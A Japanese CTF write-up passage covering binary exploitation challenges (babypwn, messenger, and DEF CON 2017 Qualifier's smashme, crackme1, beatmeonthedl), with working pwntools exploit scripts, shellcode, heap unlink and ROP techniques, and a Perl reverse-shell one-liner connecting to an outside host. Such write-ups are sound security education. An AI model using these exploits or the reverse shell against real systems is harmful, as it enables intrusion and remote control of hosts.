    ret = r.recvuntil(&apos;\12=&apos;)
    return ret[:-2]

buffer_size = 0x28

ret = echo(&apos;A&apos; * (buffer_size + 1))
canary = u32(ret[buffer_size:buffer_size + 5]) &amp; 0xffffff00
log.info(&apos;leaked canary: 0x%x&apos; % canary)

r.close()
```

    $ ./exploit.py
    [+] Opening connection to localhost on port 8181: Done
    [*] leaked canary: 0x5082ab00
    [*] Closed connection to localhost port 8181

次に, リークさせた canary を使って bof のチェックを回避しつつ, リターンアドレスを書き換えて ROP につなげる.  
調べていくと `0x08048c3b` にこんな感じの関数(があった痕跡?)があるので, `system@plt()` を呼び出せば任意のシェルコマンドを実行できそうなのがわかる.

    [0x08048710]&gt; pd 14 @ 0x08048c3b
                0x08048c3b      push ebp
                0x08048c3c      mov ebp, esp
                0x08048c3e      sub esp, 0x28
                0x08048c41      mov eax, dword gs:[0x14]
                0x08048c47      mov dword [ebp - 0xc], eax
                0x08048c4a      xor eax, eax
                0x08048c4c      mov dword [esp], str.echo__not_easy_to_see._
                0x08048c53      call sym.imp.system
                0x08048c58      mov eax, dword [ebp - 0xc]
                0x08048c5b      xor eax, dword gs:[0x14]
            ,=&lt; 0x08048c62      je 0x8048c69
            |   0x08048c64      call sym.imp.__stack_chk_fail
            `-&gt; 0x08048c69      leave
                0x08048c6a      ret

しかし, これは fork-server 型なので `system(&quot;/bin/sh&quot;)` を呼んでも意味がない[^1]. そこで, Linux 環境ならほぼ確実に入っているだろう Perl の connect-back shell を起動するワンライナーを使うことにした.

また, `system()` の引数に渡す文字列は, 木曜に解いた [CSAW CTF Qualification Round 2013: Exploitation3](http://shell-storm.org/repo/CTF/CSAW-2013/Exploitation/CSAW-Diary-300/) ([書いたスクリプト](https://gist.github.com/Tosainu/5e0a1764c020a7e5b251b64b48b1468c))と同じような手法を使って送り込んだ.  
ROP が発動する段階ではまだ通信が close されていないことを利用し, まず `recv(fd, addr_bss, 0x100, 0)` を呼んで `.bss` セクションに実行したいシェルコマンドを書き込み, その後 `system(addr_bss)` につなげて送ったコマンドを実行させる.

[^1]: `stdin`, `stdout` などがプログラムが動いているサーバ側を向いているため.

実際に作成したスクリプトと実行結果は次の通り. 作業している環境が 無線 LAN ルータ等の NAT の下にある場合は port forwarding の設定をしておくのも忘れずに.

```python
#!/usr/bin/env python2

from pwn import *

# $ objdump -M intel -j .plt -d babypwn
# (...)
# 08048620 &lt;system@plt&gt;:
#  8048620:	ff 25 2c b0 04 08    	jmp    DWORD PTR ds:0x804b02c
#  8048626:	68 40 00 00 00       	push   0x40
#  804862b:	e9 60 ff ff ff       	jmp    8048590 &lt;setsockopt@plt-0x10&gt;
# (...)
# 080486e0 &lt;recv@plt&gt;:
#  80486e0:	ff 25 5c b0 04 08    	jmp    DWORD PTR ds:0x804b05c
#  80486e6:	68 a0 00 00 00       	push   0xa0
#  80486eb:	e9 a0 fe ff ff       	jmp    8048590 &lt;setsockopt@plt-0x10&gt;
addr_system_plt = 0x8048620
addr_recv_plt   = 0x80486e0

# $ readelf -S babypwn | grep .bss
#   [25] .bss              NOBITS          0804b1b4 0021b4 00000c 00  WA  0   0  4
addr_bss = 0x804b1b4

buffer_size = 0x28

socket_fd = 4

# r = remote(&apos;localhost&apos;, 8181)
r = remote(&apos;110.10.212.130&apos;, 8888)
# r = remote(&apos;110.10.212.130&apos;, 8889)

def echo(s):
    r.recvuntil(&apos;Select menu &gt; &apos;)
    r.sendline(&apos;1&apos;)
    r.recvuntil(&apos;Input Your Message : &apos;)
    r.send(s)
    ret = r.recvuntil(&apos;\12=&apos;)
    return ret[:-2]

def reverse_echo(s):
    r.recvuntil(&apos;Select menu &gt; &apos;)
    r.sendline(&apos;2&apos;)
    r.recvuntil(&apos;Input Your Message : &apos;)
    r.send(s)
    ret = r.recvuntil(&apos;\12=&apos;)
    return ret[:-2]

def exit_app():
    r.recvuntil(&apos;Select menu &gt; &apos;)
    r.sendline(&apos;3&apos;)

# leak canary
ret = echo(&apos;A&apos; * (buffer_size + 1))
canary = u32(ret[buffer_size:buffer_size + 5]) &amp; 0xffffff00
log.info(&apos;leaked canary: 0x%x&apos; % canary)

# send ROP
payload = &apos;&apos;
payload += &apos;A&apos; * buffer_size
payload += p32(canary)
payload += &apos;BBBB&apos;                   # 0x8048b83:        pop    ebx
payload += &apos;BBBB&apos;                   # 0x8048b84:        pop    edi
payload += p32(addr_bss + 0x800)    # 0x8048b85:        pop    ebp
payload += p32(addr_recv_plt)       # recv(fd, addr_bss, 0x100, 0)
payload += p32(addr_system_plt)     # system(addr_bss)
payload += p32(socket_fd)
payload += p32(addr_bss)
payload += p32(0x100)
payload += p32(0)
echo(payload)

exit_app()

# send connect-back shell one-liner
r.clean()
r.sendline(&apos;perl -e \&apos;use Socket;$i=&quot;your.global.ip.address&quot;;$p=13895;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;/bin/sh -i&quot;);};\&apos;\x00&apos;)
```

    $ nc -l -v 192.168.xxx.xxx 13895
    Listening on [192.168.xxx.xxx] (family 0, port 13895)
    Connection from 110.10.212.130 59276 received!
    $ ls
    babypwn
    flag
    $ cat flag
    FLAG{Good_Job~!Y0u_@re_Very__G@@d!!!!!!^.^}
    $ %                                            

BabyPwn という名前の割にはおもしろい要素がたくさん詰め込まれている感じで, 解いててめちゃくちゃ楽しかった. 気づいたら50点にまで下がっててつらい...

### 2017/02/20 追記

socket の fd が特定できているので, わざわざ connect-back shell を立ち上げなくとも `/bin/sh -i &lt;&amp;fd &gt;&amp;fd 2&gt;&amp;fd` を実行させればいいってことに気づいた. 上のスクリプトの最後の行を次のように変更することで, とりあえずローカルでシェルを取ることができた.

```python
r.sendline(&apos;/bin/sh -i &lt;&amp;{0} &gt;&amp;{0} 2&gt;&amp;{0}&apos;.format(socket_fd))

r.interactive()
```

    $ ./exploit2.py
    [+] Opening connection to localhost on port 8181: Done
    [*] leaked canary: 0x6e6b8100
    [*] Switching to interactive mode
    sh-4.4$ $ ls
    ls
    babypwn
    exploit2.py
    exploit.py
    flag.txt
    out
    peda-session-babypwn.txt
    sh-4.4$ $ 
    [*] Closed connection to localhost port 8181

## 12 messenger &lt;small&gt;(205pt)&lt;/small&gt;

x86-64 の ELF.

    $ file messenger
    messenger: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=d8396b1a1f90c3679f6946c3693f93abf4563ba4, stripped
    
    $ checksec messenger
    [*] &apos;/tmp/messenger&apos;
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX disabled
        PIE:      No PIE

起動するとこんな感じ. 2つまでのメッセージの追加/削除/変更/確認ができる.

    $ ./messenger
     _ __ ___   ___  ___ ___  ___ _ __   __ _  ___ _ __
    | &apos;_ ` _ \ / _ \/ __/ __|/ _ \ &apos;_ \ / _` |/ _ \ &apos;__|
    | | | | | |  __/\__ \__ \  __/ | | | (_| |  __/ |
    |_| |_| |_|\___||___/___/\___|_| |_|\__, |\___|_|
                                        |___/
    [L]eave message
    [R]emove message
    [C]hange message
    [V]iew message
    [Q]uit
    &gt;&gt; 

先に書いておくと, この問題は [Plaid CTF 2014: ezhp](https://github.com/ctfs/write-ups-2014/blob/master/plaid-ctf-2014/ezhp/README.md) に非常に似ていて, [実際に僕が解いたときのスクリプト](https://gist.github.com/Tosainu/1216f3b74aeff490fef0d0e3e3033671)をこのプログラムに合わせて変更するだけで解くことができた.

このプログラムは `[L]eave message` で登録するメッセージの長さを `0x20` 文字までに制限しているのに対し, `[C]hange message` では長さのチェックを行なっておらず, しかも変更前の領域にそのまま新しいメッセージを書き込んでいる. メッセージは独自実装の `malloc()` 的なもので確保された heap 上にあるため, heap buffer overflow が起こせる.

そこで, 次のような攻撃を行う.  
メッセージを1つ追加したとき, heap はこのような双方向リストになっている. ここで一つのブロックのことを chunk, 前の chunk を指すポインタを `bk`, 次の chunk を指すポインタを `fd` と呼ぶことにする.

![heap1](./heap1.svg)

ここで1つ目のメッセージを変更して heap bof を起こし, 次の chunk の bk を `exit()` の GOT のアドレスから8を引いたものに書き換える.

![heap2](./heap2.svg)

この状態で2つ目のメッセージの追加するとこのようになり,

![heap3](./heap3.svg)

そのまま2つ目のメッセージの削除を行うと, `exit()` の GOT のアドレスから8を引いたもの以降を1つの chunk として見た時に `fd` に相当する `exit()` の GOT を3つ目の chunk のアドレスに書き換えることができる. (図の chunk1, chunk2 の `fd`, `bk` が指す要素は, 一応 gdb でも確認しているが正直自信がない. ここでは特に重要でないので気にしないで...)

![heap4](./heap4.svg)

あとは3つ目の chunk が作られる予定のアドレス辺りに shellcode が配置されるように1つ目のメッセージを再び変更する. すると `exit@plt()` が呼び出されたときに shellcode が実行されるようになる.

実際に作成したスクリプトと実行結果は次の通り.

```python
#!/usr/bin/env python2

from pwn import *

# $ objdump -M intel -j .plt -d messenger
# ...
# 0000000000400780 &lt;exit@plt&gt;:
#   400780:	ff 25 ea 18 20 00    	jmp    QWORD PTR [rip+0x2018ea]        # 602070 &lt;exit@plt+0x2018f0&gt;
#   400786:	68 0b 00 00 00       	push   0xb
#   40078b:	e9 30 ff ff ff       	jmp    4006c0 &lt;puts@plt-0x10&gt;
# ...
addr_exit_got = 0x602070

# msf &gt; use payload/linux/x64/exec
# msf payload(exec) &gt; generate -b &apos;\x00&apos; -t python -o CMD=/bin/sh
shellcode =  &apos;&apos;
shellcode += &apos;\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05&apos;
shellcode += &apos;\xef\xff\xff\xff\x48\xbb\x80\x51\x84\x63\x84\x7a\x7b&apos;
shellcode += &apos;\x73\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4&apos;
shellcode += &apos;\xea\x6a\xdc\xfa\xcc\xc1\x54\x11\xe9\x3f\xab\x10\xec&apos;
shellcode += &apos;\x7a\x28\x3b\x09\xb6\xec\x4e\xe7\x7a\x7b\x3b\x09\xb7&apos;
shellcode += &apos;\xd6\x8b\x8c\x7a\x7b\x73\xaf\x33\xed\x0d\xab\x09\x13&apos;
shellcode += &apos;\x73\xd6\x06\xcc\xea\x62\x75\x7e\x73&apos;

# r = process(&apos;./messenger-patched&apos;)
r = remote(&apos;110.10.212.137&apos;,  3333)

#  _ __ ___   ___  ___ ___  ___ _ __   __ _  ___ _ __
# | &apos;_ ` _ \ / _ \/ __/ __|/ _ \ &apos;_ \ / _` |/ _ \ &apos;__|
# | | | | | |  __/\__ \__ \  __/ | | | (_| |  __/ |
# |_| |_| |_|\___||___/___/\___|_| |_|\__, |\___|_|
#                                     |___/
# [L]eave message
# [R]emove message
# [C]hange message
# [V]iew message
# [Q]uit
# &gt;&gt;

def choose_action(c):
    r.recvuntil(&apos;[Q]uit\n&gt;&gt; &apos;)
    r.sendline(c)

def leave_message(n, s):
    choose_action(&apos;L&apos;)
    r.recvuntil(&apos;size : &apos;)
    r.sendline(str(n))
    r.recvuntil(&apos;msg : &apos;)
    r.send(s)

def remove_message(i):
    choose_action(&apos;R&apos;)
    r.recvuntil(&apos;index : &apos;)
    r.sendline(str(i))

def change_message(i, n, s):
    choose_action(&apos;C&apos;)
    r.recvuntil(&apos;index : &apos;)
    r.sendline(str(i))
    r.recvuntil(&apos;size : &apos;)
    r.sendline(str(n))
    r.recvuntil(&apos;msg : &apos;)
    r.send(s)

def view_message(i):
    choose_action(&apos;V&apos;)
    r.recvuntil(&apos;index : &apos;)
    r.sendline(str(i))
    return r.recvuntil(&apos;\n[L]eave&apos;)[:-len(&apos;\n[L]eave&apos;)]

def quit():
    choose_action(&apos;Q&apos;)

# add 1st message
leave_message(4, &apos;AAAA&apos;)

# gdb-peda$ x/50xg 0x603000 &lt;- heap base
# 0x603000:	0x0000000000000018	0x0000000000603018
# 0x603010:	0x0000000000000000	0x0000000000000031 &lt;- 1st chunk size
# 0x603020:	0x0000000000603048	0x0000000000603000 &lt;- fd, bk
# 0x603030:	0x0000000041414141	0x0000000000000000
# 0x603040:	0x0000000000000000	0x00000000000003d0 &lt;- 2nd chunk size
# 0x603050:	0x0000000000000000	0x0000000000603018 &lt;- fd, bk
# 0x603060:	0x0000000000000000	0x0000000000000000

# resize 1st message and overwite 2nd chunk&apos;s bk
payload = &apos;&apos;
payload += &apos;A&apos; * 0x18
payload += p64(0x3d0)               # size
payload += p64(0)                   # fd
payload += p64(addr_exit_got - 8)   # bk
change_message(0, len(payload), payload)

# add 2nd message
leave_message(4, &apos;AAAA&apos;)

# remove 2nd message
# now, addr_exit_got was overwitten to 3rd chunk&apos;s addr
remove_message(1)

# send shellcode
payload = &apos;&apos;
payload += &apos;\x90&apos; * 0x100
payload += shellcode
change_message(0, len(payload), payload)

# select undefined action to call exit()
choose_action(&apos;Z&apos;)

r.interactive()
```

    $ ./exploit.py
    [+] Opening connection to 110.10.212.137 on port 3333: Done
    [*] Switching to interactive mode
    $ ls
    flag
    messenger
    $ cat flag
    1_wan3_y0ur_m3ssenger$%
    $ 
    [*] Closed connection to 110.10.212.137 port 3333


## おわり

解くのは楽しかったけど, 過去問に似た正答者数の多く得点がどんどん下がっていった問題しか解けてないので厳しい...

### 参考URL

- [Reverse Shell Cheat Sheet | pentestmonkey](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
- [katagaitai CTF勉強会 #1 pwnables編 - DEFCON CTF 2014 pwn1 heap / katagaitai CTF #1 // Speaker Deck](https://speakerdeck.com/bata_24/katagaitai-ctf-number-1)</content:encoded></item><item><title>DEF CON CTF 2017 Qualifier writeup</title><link>https://myon.info/blog/2017/05/02/def-con-ctf-2017-qualifier-writeups/</link><guid isPermaLink="true">https://myon.info/blog/2017/05/02/def-con-ctf-2017-qualifier-writeups/</guid><pubDate>Tue, 02 May 2017 00:00:00 GMT</pubDate><content:encoded>[DEF CON CTF 2017 Qualifier](https://ctftime.org/event/459) に一人チーム [poepoe](https://ctftime.org/team/32588) で参加. 144 points で 117 位.

Baby&apos;s First の問題しか解けなかったけど, pwn するの久しぶりだったので楽しかった.  
それ以外の問題も点を入れていけるようにしていくぞ💪.

&lt;!--more--&gt;

## smashme

x86-64 の ELF.

    $ file smashme
    smashme: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=29c2093a0eca94730cd7fd861519602b3272a4f7, not stripped, with debug_info

    $ checksec --file smashme
    [*] &apos;/tmp/smashme&apos;
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX disabled
        PIE:      No PIE (0x400000)

radare2 でディスアセンブルするとこんな感じ.  
超キケンな `gets` で stack に文字列を読み込んでいるため stack buffer overflow が起こせるのがわかる. ただし, その後に呼ばれる `sub.ifunc_4253b0_320` が非ゼロの値を返さないと `exit` が呼ばれてしまうので, 任意のアドレスに飛ばすには入力する文字列に細工が必要なようだ.

    |           0x004009d6      488d45c0       lea rax, qword [rbp - local_40h]
    |           0x004009da      4889c7         mov rdi, rax
    |           0x004009dd      b800000000     mov eax, 0
    |           0x004009e2      e8e9f00000     call sym.gets              ; char*gets(char *s)
    |           0x004009e7      488d45c0       lea rax, qword [rbp - local_40h]
    |           0x004009eb      bed8064a00     mov esi, str.Smash_me_outside__how_bout_dAAAAAAAAAAA ; &quot;Smash me outside, how bout dAAAAAAAAAAA&quot; @ 0x4a06d8
    |           0x004009f0      4889c7         mov rdi, rax
    |           0x004009f3      e828f9ffff     call sub.ifunc_4253b0_320
    |           0x004009f8      4885c0         test rax, rax
    |       ,=&lt; 0x004009fb      7407           je 0x400a04
    |       |   0x004009fd      b800000000     mov eax, 0
    |      ,==&lt; 0x00400a02      eb0a           jmp 0x400a0e
    |      ||      ; JMP XREF from 0x004009fb (sym.main)
    |      |`-&gt; 0x00400a04      bf00000000     mov edi, 0
    |      |    0x00400a09      e822e00000     call sym.exit              ; void exit(int status)
    |      |       ; JMP XREF from 0x00400a02 (sym.main)
    |      `--&gt; 0x00400a0e      c9             leave
    \           0x00400a0f      c3             ret

  この `sub.ifunc_4253b0_320` がよくわからない[^1]ので gdb で処理を追ってみたところ, [`strstr`](http://en.cppreference.com/w/c/string/byte/strstr) に飛ぶことがわかった. `strstr` は第1引数に渡した文字列に第2引数引数に渡した文字列が含まれていたらその先頭文字のアドレスを, そうでなければ `NULL` を返す関数らしい. ということは, `call` される直前で `rsi` (第2引数) に設定されている `&quot;Smash me outside, how bout dAAAAAAAAAAA&quot;` で始まる文字列を入力すればよさそう.

[^1]: これの一種かな? [Function Attributes - Using the GNU Compiler Collection (GCC)](https://gcc.gnu.org/onlinedocs/gcc-5.4.0/gcc/Function-Attributes.html)

gdb-peda の `pattc`, `patto` コマンドを使って調べると, 入力した文字列とリターンアドレスとののオフセットは↑の文字列+33文字なのがわかった.

    gdb-peda$ c
    Continuing.
    Welcome to the Dr. Phil Show. Wanna smash?
    Smash me outside, how bout dAAAAAAAAAAAAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

    ...

    Stopped reason: SIGSEGV
    0x0000000000400a0f in main ()
    gdb-peda$ x/gx $rsp
    0x7fffffffdf48:	0x4161414145414129
    gdb-peda$ patto 0x4161414145414129
    4711118433796833577 found at offset: 33

そこで, その文字列のうしろに `0x0044611d: push rsp ; ret  ;  (2 found)` と shellcode をくっつけてみたところシェルを取ることができた. 作成したスクリプトと実行結果は次の通り.

```python
#!/usr/bin/env python2

# DEF CON 2017 Quals : smashme

from pwn import *
import sys

addr_push_rsp_ret = 0x0044611d # 0x0044611d: push rsp ; ret  ;  (2 found)

context(os=&apos;linux&apos;, arch=&apos;amd64&apos;)

if &apos;remote&apos; in sys.argv:
    r = remote(&apos;smashme_omgbabysfirst.quals.shallweplayaga.me&apos;, 57348)
else:
    r = process(&apos;./smashme&apos;)

r.recvuntil(&apos;Welcome to the Dr. Phil Show. Wanna smash?\n&apos;)
buf = &apos;&apos;
buf += &apos;Smash me outside, how bout dAAAAAAAAAAA&apos;
buf += &apos;A&apos; * 33
buf += p64(addr_push_rsp_ret)
buf += asm(shellcraft.sh())
r.sendline(buf)

r.interactive()
```

    $ ./exploit.py remote
    [+] Opening connection to smashme_omgbabysfirst.quals.shallweplayaga.me on port 57348: Done
    [*] Switching to interactive mode
    $ ls
    flag
    smashme
    $ cat flag
    The flag is: You must be at least this tall to play DEF CON CTF 5b43e02608d66dca6144aaec956ec68d
    $ 
    [*] Closed connection to smashme_omgbabysfirst.quals.shallweplayaga.me port 57348

## crackme1

x86-64 の ELF.  
Alpine Linux で作られたようで, 実行には musl libc が必要.

    $ file 4a2181aaf70b04ec984c233fbe50a1fe600f90062a58d6b69ea15b85531b9652
    4a2181aaf70b04ec984c233fbe50a1fe600f90062a58d6b69ea15b85531b9652: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-x86_64.so.1, stripped, with debug_info

    $ docker run -t -v &quot;$PWD&quot;:/work -w /work -i alpine /bin/sh        
    /work # ./4a2181aaf70b04ec984c233fbe50a1fe600f90062a58d6b69ea15b85531b9652 
    enter code:
    nyan
    /work # 

`&quot;enter code:&quot;`と表示した後に入力を受け付けているようだが, 適当に入力しただけでは `exit` されてしまう.  
それっぽい箇所をディスアセンブルするとこんな感じ. `&quot;sum is %ld.&quot;` という表示がされていないことから `exit` を呼んでいるのは `fcn.00000c6c` の中だと推測できる.


    |           0x0000079b      488b15861820.  mov rdx, qword [obj.stdin]  ; [0x202028:8]=0x7368732e00003232 ; LEA obj.stdin ; &quot;22&quot; @ 0x202028
    |           0x000007a2      be50000000     mov esi, 0x50               ; &apos;P&apos;
    |           0x000007a7      4889df         mov rdi, rbx
    |           0x000007aa      e879ffffff     call sym.imp.fgets         ; char *fgets(char *s, int size, FILE *stream)
    |           0x000007af      4889df         mov rdi, rbx
    |           0x000007b2      e8b5040000     call fcn.00000c6c
    |           0x000007b7      488d3d170700.  lea rdi, qword str.sum_is__ld_n ; 0xed5 ; str.sum_is__ld_n ; &quot;sum is %ld.&quot; @ 0xed5
    |           0x000007be      4889c6         mov rsi, rax
    |           0x000007c1      31c0           xor eax, eax
    |           0x000007c3      e858ffffff     call sym.imp.printf 

`fcn.00000c6c` を詳しく調べていく. この関数は第1引数 `rdi` に与えられた文字列を1文字ずつ別の関数に渡し, その返り値を `rbx` に足したりしているようだ.

    |           0x00000c6c      55             push rbp
    |           0x00000c6d      53             push rbx
    |           0x00000c6e      4889fd         mov rbp, rdi
    |           0x00000c71      4883ec08       sub rsp, 8
    |           0x00000c75      480fbe3f       movsx rdi, byte [rdi]
    |           0x00000c79      e8bdfcffff     call fcn.0000093b
    |           0x00000c7e      480fbe7d01     movsx rdi, byte [rbp + arg_1h] ; [0x1:1]=69
    |           0x00000c83      48c1f803       sar rax, 3
    |           0x00000c87      4889c3         mov rbx, rax
    |           0x00000c8a      e8c6fcffff     call fcn.00000955
    |           0x00000c8f      480fbe7d02     movsx rdi, byte [rbp + arg_2h] ; [0x2:1]=76
    |           0x00000c94      4801c3         add rbx, rax                ; &apos;#&apos;
    |           0x00000c97      48c1fb03       sar rbx, 3
    |           0x00000c9b      e8d1fcffff     call fcn.00000971

この別の関数というのはどれもこんな感じで, 引数が比較している値と違ったら `exit` を呼ぶというものであった. ということは, この比較している文字を見ていけば良さそう. (めんどくせえ...)

    |           0x0000093b      4883ff79       cmp rdi, 0x79               ; &apos;y&apos; ; &apos;y&apos;
    |       ,=&lt; 0x0000093f      740e           je 0x94f
    |       |   0x00000941      4883ec08       sub rsp, 8
    |       |   0x00000945      bf01000000     mov edi, 1
    |       |   0x0000094a      e809feffff     call sym.imp.exit          ; void exit(int status)
    |       |      ; JMP XREF from 0x0000093f (fcn.0000093b)
    |       `-&gt; 0x0000094f      b8a7000000     mov eax, 0xa7               ; section_end..shstrtab
    \           0x00000954      c3             ret

で, その結果 `&quot;yes and his hands shook with ex&quot;` という文字列が出てきた. でもこれは Flag ではないみたい.

問題文をよく見ると, 怪しい url が書かれていた. アクセスしてみると, 解答を base64 で送れと言われる. 実際にやってみると Flag が出てきた.

    $ echo yes and his hands shook with ex | base64
    eWVzIGFuZCBoaXMgaGFuZHMgc2hvb2sgd2l0aCBleAo=

    $ nc crackme1_f92e0ab22352440383d58be8f046bebe.quals.shallweplayaga.me 10001
    send your solution as base64, followed by a newline
    4a2181aaf70b04ec984c233fbe50a1fe600f90062a58d6b69ea15b85531b9652
    eWVzIGFuZCBoaXMgaGFuZHMgc2hvb2sgd2l0aCBleAo=
    The flag is: important videos best playlist Wigeekuk8
    ^C

## beatmeonthedl

x86-64 の ELF.

    $ file beatmeonthedl
    beatmeonthedl: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, not stripped, with debug_info

    $ checksec --file beatmeonthedl
    [*] &apos;/tmp/beatmeonthedl&apos;
        Arch:     amd64-64-little
        RELRO:    No RELRO
        Stack:    No canary found
        NX:       NX disabled
        PIE:      No PIE (0x400000)

実行してみると, まずユーザ名とパスワードを聞いてくる. これは gdb で適当な文字を入力したときの処理を追っていけば出てくる.

    $ ./beatmeonthedl
         __      __       .__                                  __           
        /  \    /  \ ____ |  |   ____  ____   _____   ____   _/  |_  ____   
        \   \/\/   // __ \|  | _/ ___\/  _ \ /     \_/ __ \  \   __\/  _ \  
         \        /\  ___/|  |_\  \__(  &lt;_&gt; )  Y Y  \  ___/   |  | (  &lt;_&gt; ) 
          \__/\  /  \___  &gt;____/\___  &gt;____/|__|_|  /\___  &gt;  |__|  \____/  
               \/       \/          \/            \/     \/                 
        __  .__             .__         .__                 _____    __  .__            
      _/  |_|  |__   ____   |  | _____  |__|______    _____/ ____\ _/  |_|  |__   ____  
      \   __\  |  \_/ __ \  |  | \__  \ |  \_  __ \  /  _ \   __\  \   __\  |  \_/ __ \ 
       |  | |   Y  \  ___/  |  |__/ __ \|  ||  | \/ (  &lt;_&gt; )  |     |  | |   Y  \  ___/ 
       |__| |___|  /\___  &gt; |____(____  /__||__|     \____/|__|     |__| |___|  /\___  &gt;
                 \/     \/            \/                                      \/     \/ 
      _________.__                .___              __________                __
     /   _____/|  |__ _____     __| _/______  _  __ \______   \_______  ____ |  | __ ___________  ______
     \_____  \ |  |  \\__  \   / __ |/  _ \ \/ \/ /  |    |  _/\_  __ \/  _ \|  |/ \// __ \_  __ \/  ___/
     /        \|   Y  \/ __ \_/ /_/ (  &lt;_&gt; )     /   |    |   \ |  | \(  &lt;_&gt; )    &lt;\  ___/|  |  \/\___ \ 
    /_______  /|___|  (____  /\____ |\____/ \/\_/    |______  / |__|   \____/|__|_ \\___  &gt;__|    /____ &gt;
            \/      \/     \/      \/                       \/                    \/    \/             \/ 
    Enter username: mcfly
    Enter Pass: awesnap
    I) Request Exploit.
    II) Print Requests.
    III) Delete Request.
    IV) Change Request.
    V) Go Away.
    | 

それ以降の処理を調べていく.

このプログラムは,  `malloc(0x38)` した領域の確保/編集/開放, および確保した領域のリストアップができるというものだった. 気になる脆弱性は次の2つ.

1. `malloc` は独自に組み込まれたもの (glibc じゃない) で, さらに確保した領域は実行可能になっている
2. &quot;Request Exploit.&quot; や &quot;Change Request.&quot; の確保した領域へ書き込む処理で0x80文字も読み込んでいて heap buffer overflow が起こせる

何となく, この手の問題によくある unlink attack して GOT overwrite するやつかなーと推測できる.

    |      |`-&gt; 0x00401035      bf38000000     mov edi, 0x38               ; &apos;8&apos;
    |      |    0x0040103a      e89d4a0000     call sym.malloc            ;  void *malloc(size_t size)
    |      |    0x0040103f      4889c2         mov rdx, rax
    |      |    0x00401042      8b45fc         mov eax, dword [rbp - local_4h]
    |      |    0x00401045      4898           cdqe
    |      |    0x00401047      488914c5809e.  mov qword [rax*8 + obj.reqlist], rdx ; [0x609e80:8]=0x4013b2 sym.init_mparams ; LEA obj.reqlist ; obj.reqlist

    ...

    |      |    0x0040108e      488b04c5809e.  mov rax, qword [rax*8 + obj.reqlist] ; [0x609e80:8]=0x4013b2 sym.init_mparams ; LEA obj.reqlist ; obj.reqlist
    |      |    0x00401096      ba80000000     mov edx, 0x80
    |      |    0x0040109b      4889c6         mov rsi, rax
    |      |    0x0040109e      bf00000000     mov edi, 0
    |      |    0x004010a3      b800000000     mov eax, 0
    |      |    0x004010a8      e873faffff     call sym.imp.read          ; ssize_t read(int fildes, void *buf, size_t nbyte)

ということで, `malloc`, `free` の挙動を確認しながら次のような攻撃を行なった.

まず5つの領域 (buffer0 ~ buffer4 と呼ぶことにする) を確保し, buffer3, buffer1 の順で開放する. すると, heap は次のようになっていた. chunk の構造は glibc のものとだいたい同じで, `prev_size`, `size`, `fd`, `bk` に相当するメンバを持っていた. また, 開放した領域は 0x609b88 にある管理領域?が持つ chunk を先頭とする双方向循環リストになっていた.

ちなみに, chunk の番号と buffer の番号がずれているが, これは chunk0 が入力したパスワードを格納するために使われているためである.

    gdb-peda$ x/50gx 0x00db4000
    0xdb4000:	0x0000000000000000	0x0000000000000023 &lt;- chunk0
    0xdb4010:	0x0a70616e73657761	0x0000000000000000
    0xdb4020:	0x0000000000000000	0x0000000000000043 &lt;- chunk1
    0xdb4030:	0x0030726566667562	0x0000000000000000 &lt;- buffer0
    0xdb4040:	0x0000000000000000	0x0000000000000000
    0xdb4050:	0x0000000000000000	0x0000000000000000
    0xdb4060:	0x0000000000000000	0x0000000000000041 &lt;- chunk2
    0xdb4070:	0x0000000000db40e0	0x0000000000609b88
    0xdb4080:	0x0000000000000000	0x0000000000000000
    0xdb4090:	0x0000000000000000	0x0000000000000000
    0xdb40a0:	0x0000000000000040	0x0000000000000042 &lt;- chunk3
    0xdb40b0:	0x0032726566667562	0x0000000000000000 &lt;- buffer2
    0xdb40c0:	0x0000000000000000	0x0000000000000000
    0xdb40d0:	0x0000000000000000	0x0000000000000000
    0xdb40e0:	0x0000000000000000	0x0000000000000041 &lt;- chunk4
    0xdb40f0:	0x0000000000609b88	0x0000000000db4060
    0xdb4100:	0x0000000000000000	0x0000000000000000
    0xdb4110:	0x0000000000000000	0x0000000000000000
    0xdb4120:	0x0000000000000040	0x0000000000000042 &lt;- chunk5
    0xdb4130:	0x0034726566667562	0x0000000000000000 &lt;- buffer4
    0xdb4140:	0x0000000000000000	0x0000000000000000
    0xdb4150:	0x0000000000000000	0x0000000000000000
    0xdb4160:	0x0000000000000000	0x0000000000000e51
    0xdb4170:	0x0000000000000000	0x0000000000000000
    0xdb4180:	0x0000000000000000	0x0000000000000000
    gdb-peda$ x/8gx 0x0000000000609b88
    0x609b88 &lt;_gm_+200&gt;:	0x0000000000609b78	0x0000000000609b78 &lt;- top
    0x609b98 &lt;_gm_+216&gt;:	0x0000000000db4060	0x0000000000db40e0
    0x609ba8 &lt;_gm_+232&gt;:	0x0000000000609b98	0x0000000000609b98
    0x609bb8 &lt;_gm_+248&gt;:	0x0000000000609ba8	0x0000000000609ba8

次に buffer2 を通して chunk4 の `fd` を `puts` の GOT から 0x18 を引いた値に書き換えて,

    gdb-peda$ x/50gx 0x00db4000
    0xdb4000:	0x0000000000000000	0x0000000000000023
    0xdb4010:	0x0a70616e73657761	0x0000000000000000
    0xdb4020:	0x0000000000000000	0x0000000000000043 &lt;- chunk1
    0xdb4030:	0x0030726566667562	0x0000000000000000 &lt;- buffer0
    0xdb4040:	0x0000000000000000	0x0000000000000000
